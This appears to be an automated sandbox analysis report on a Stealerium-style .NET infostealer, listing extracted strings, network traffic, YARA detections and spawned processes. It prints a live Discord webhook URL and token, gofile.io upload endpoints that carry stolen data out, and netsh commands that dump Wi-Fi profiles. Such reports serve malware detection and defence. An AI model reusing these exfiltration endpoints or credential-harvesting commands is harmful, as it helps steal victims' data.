Source: f2wWJWlU2B.exe, 00000000.00000003.317099070.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316848889.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316699808.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316924118.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316419582.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317007937.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316641145.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316522874.0000000006558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cnori
Source: tmpC3EF.tmp.dat.5.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000043D6000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000044EF000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.576632253.00000000017F0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aka.ms/binaryformatter
Source: f2wWJWlU2B.exe, 00000005.00000002.576632253.00000000017F0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aka.ms/dotnet-warnings/
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000034E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000034E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000034E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000034E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:0c:29:82:cb:33
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000034E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org4HpP
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apiv2.gofi
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apiv2.gofile
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apiv2.gofile.io
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apiv2.gofile.io/getSP~
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apiv2.gofile.io/getServer
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apiv2.gofile.io4Hp
Source: tmpC3EF.tmp.dat.5.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.000000000362E000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/webhooks/1084783843615178843/A31fRI9RQZDNhL7oP-ww16uxWJlo3rtBHf98vuiK0BCk
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com4Hp
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.000000000362E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.comD8Hp
Source: tmpC3EF.tmp.dat.5.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: f2wWJWlU2B.exe, 00000005.00000003.446219875.0000000004447000.00000004.00000800.00020000.00000000.sdmp, tmpC904.tmp.dat.5.dr, tmpC3EF.tmp.dat.5.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tmpC3EF.tmp.dat.5.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/JamesNK/Newtonsoft.Json
Source: f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000043D6000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000044EF000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.576632253.00000000017F0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/dotnet/runtime
Source: f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000043D6000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000044EF000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.576632253.00000000017F0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/dotnet/runtime8
Source: f2wWJWlU2B.exe, 00000000.00000002.359988241.00000000032F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/kgnfth
Source: f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000043D6000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000044EF000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.576632253.00000000017F0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mono/linker/issues/1416.
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003472000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gofile.io/d/Eljz06
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.000000000365B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gofile.io/d/Eljz06)
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003472000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gofile.io/d/Eljz06x
Source: f2wWJWlU2B.exe, 00000005.00000003.446219875.0000000004447000.00000004.00000800.00020000.00000000.sdmp, tmpC904.tmp.dat.5.dr, tmpC3EF.tmp.dat.5.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: f2wWJWlU2B.exe, 00000005.00000003.446219875.0000000004447000.00000004.00000800.00020000.00000000.sdmp, tmpC904.tmp.dat.5.dr, tmpC3EF.tmp.dat.5.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: f2wWJWlU2B.exe, 00000005.00000003.446219875.0000000004447000.00000004.00000800.00020000.00000000.sdmp, tmpC904.tmp.dat.5.dr, tmpC3EF.tmp.dat.5.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: f2wWJWlU2B.exe, 00000005.00000003.446219875.0000000004447000.00000004.00000800.00020000.00000000.sdmp, tmpC904.tmp.dat.5.dr, tmpC3EF.tmp.dat.5.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store11.gofile.io
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store11.gofile.io/
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store11.gofile.io/uploadFile
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store11.gofile.io4Hp
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.000000000362E000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://user-images.githubusercontent.com/45857590/138568746-1a5578fe-f51b-4114-bcf2-e374535f8488.pn
Source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: f2wWJWlU2B.exe, 00000005.00000003.446219875.0000000004447000.00000004.00000800.00020000.00000000.sdmp, tmpC904.tmp.dat.5.dr, tmpC3EF.tmp.dat.5.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/json
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson

Source: unknown

HTTP traffic detected: POST /uploadFile HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db352bae7582a8Host: store11.gofile.ioContent-Length: 176096Expect: 100-continueConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: ip-api.com

Source: global traffic	HTTP traffic detected: GET /api/webhooks/1084783843615178843/A31fRI9RQZDNhL7oP-ww16uxWJlo3rtBHf98vuiK0BCkVC5USg4IAuKeGg_UE_9UYcu6 HTTP/1.1Host: discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /getServer HTTP/1.1Host: apiv2.gofile.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /geolocation/wifi?v=1.1&bssid=00:0c:29:82:cb:33 HTTP/1.1Host: api.mylnikov.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.com

Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.5:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.38.43.18:443 -> 192.168.2.5:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.247:443 -> 192.168.2.5:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.66:443 -> 192.168.2.5:49701 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 5.2.f2wWJWlU2B.exe.400000.0.unpack, Stealerium/Modules/Keylogger/Keylogger.cs	.Net Code: SetHook
Source: 5.2.f2wWJWlU2B.exe.400000.0.unpack, Stealerium/Modules/Keylogger/Keylogger.cs	.Net Code: KeyboardLayout

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File deleted: C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\ZBEDCJPBEY\BPMLNOBVSB.pdf	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File deleted: C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\ZBEDCJPBEY\BPMLNOBVSB.pdf	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File deleted: C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\SQRKHNBNYN.png	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File deleted: C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\SQRKHNBNYN.png	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File deleted: C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Grabber\DRIVE-C\Users\user\Desktop\NIKHQAIQAU\SQRKHNBNYN.png	Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.2.f2wWJWlU2B.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 5.2.f2wWJWlU2B.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 0.2.f2wWJWlU2B.exe.8f50658.10.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0.2.f2wWJWlU2B.exe.8f50658.10.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 0.2.f2wWJWlU2B.exe.8f50658.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0.2.f2wWJWlU2B.exe.8f50658.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 00000005.00000002.570476426.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000000.00000002.440654420.0000000008DD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: f2wWJWlU2B.exe PID: 1876, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen

Source: f2wWJWlU2B.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 5.2.f2wWJWlU2B.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 5.2.f2wWJWlU2B.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 0.2.f2wWJWlU2B.exe.8f50658.10.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0.2.f2wWJWlU2B.exe.8f50658.10.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 0.2.f2wWJWlU2B.exe.8f50658.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0.2.f2wWJWlU2B.exe.8f50658.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 00000005.00000002.570476426.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000000.00000002.440654420.0000000008DD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: f2wWJWlU2B.exe PID: 1876, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Code function: 0_2_0182E25C	0_2_0182E25C
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Code function: 5_2_017E29FF	5_2_017E29FF
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Code function: 5_2_0193BE48	5_2_0193BE48

Source: f2wWJWlU2B.exe, 00000000.00000002.359988241.00000000032F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCruiser.dll, vs f2wWJWlU2B.exe
Source: f2wWJWlU2B.exe, 00000000.00000002.359988241.00000000032F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamestub.exe6 vs f2wWJWlU2B.exe
Source: f2wWJWlU2B.exe, 00000000.00000002.425743540.0000000007F70000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameCruiser.dll, vs f2wWJWlU2B.exe
Source: f2wWJWlU2B.exe, 00000000.00000002.428321755.0000000008810000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameOutimurs.dll2 vs f2wWJWlU2B.exe
Source: f2wWJWlU2B.exe, 00000005.00000003.533539291.0000000006190000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Text.Json. vs f2wWJWlU2B.exe
Source: f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000043D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Text.Json.dll@ vs f2wWJWlU2B.exe
Source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameNewtonsoft.Json.dll2 vs f2wWJWlU2B.exe
Source: f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000044EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Text.Json.dll@ vs f2wWJWlU2B.exe
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Text.Json.dll@ vs f2wWJWlU2B.exe
Source: f2wWJWlU2B.exe, 00000005.00000002.576632253.00000000017F0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Text.Json.dll@ vs f2wWJWlU2B.exe
Source: f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNewtonsoft.Json.dll2 vs f2wWJWlU2B.exe
Source: f2wWJWlU2B.exe, 00000005.00000002.605754131.0000000006DC0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameDotNetZip.dll@ vs f2wWJWlU2B.exe
Source: f2wWJWlU2B.exe, 00000005.00000002.610730536.0000000007BB9000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs f2wWJWlU2B.exe
Source: f2wWJWlU2B.exe, 00000005.00000002.600292607.0000000006190000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Text.Json. vs f2wWJWlU2B.exe
Source: f2wWJWlU2B.exe	Binary or memory string: OriginalFilenameGeQa.exe2 vs f2wWJWlU2B.exe

Source: C:\Windows\System32\msiexec.exe

Section loaded: sfc.dll

Jump to behavior

Source: f2wWJWlU2B.exe	ReversingLabs: Detection: 54%
Source: f2wWJWlU2B.exe	Virustotal: Detection: 65%

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe

File read: C:\Users\user\Desktop\f2wWJWlU2B.exe

Jump to behavior

Source: f2wWJWlU2B.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\f2wWJWlU2B.exe C:\Users\user\Desktop\f2wWJWlU2B.exe
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Users\user\Desktop\f2wWJWlU2B.exe C:\Users\user\Desktop\f2wWJWlU2B.exe
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Users\user\Desktop\f2wWJWlU2B.exe C:\Users\user\Desktop\f2wWJWlU2B.exe
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Users\user\Desktop\f2wWJWlU2B.exe C:\Users\user\Desktop\f2wWJWlU2B.exe
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Users\user\Desktop\f2wWJWlU2B.exe C:\Users\user\Desktop\f2wWJWlU2B.exe
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Users\user\Desktop\f2wWJWlU2B.exe C:\Users\user\Desktop\f2wWJWlU2B.exe
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Users\user\Desktop\f2wWJWlU2B.exe C:\Users\user\Desktop\f2wWJWlU2B.exe	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Users\user\Desktop\f2wWJWlU2B.exe C:\Users\user\Desktop\f2wWJWlU2B.exe	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Users\user\Desktop\f2wWJWlU2B.exe C:\Users\user\Desktop\f2wWJWlU2B.exe	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Users\user\Desktop\f2wWJWlU2B.exe C:\Users\user\Desktop\f2wWJWlU2B.exe	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Users\user\Desktop\f2wWJWlU2B.exe C:\Users\user\Desktop\f2wWJWlU2B.exe	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show networks mode=bssid	Jump to behavior

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
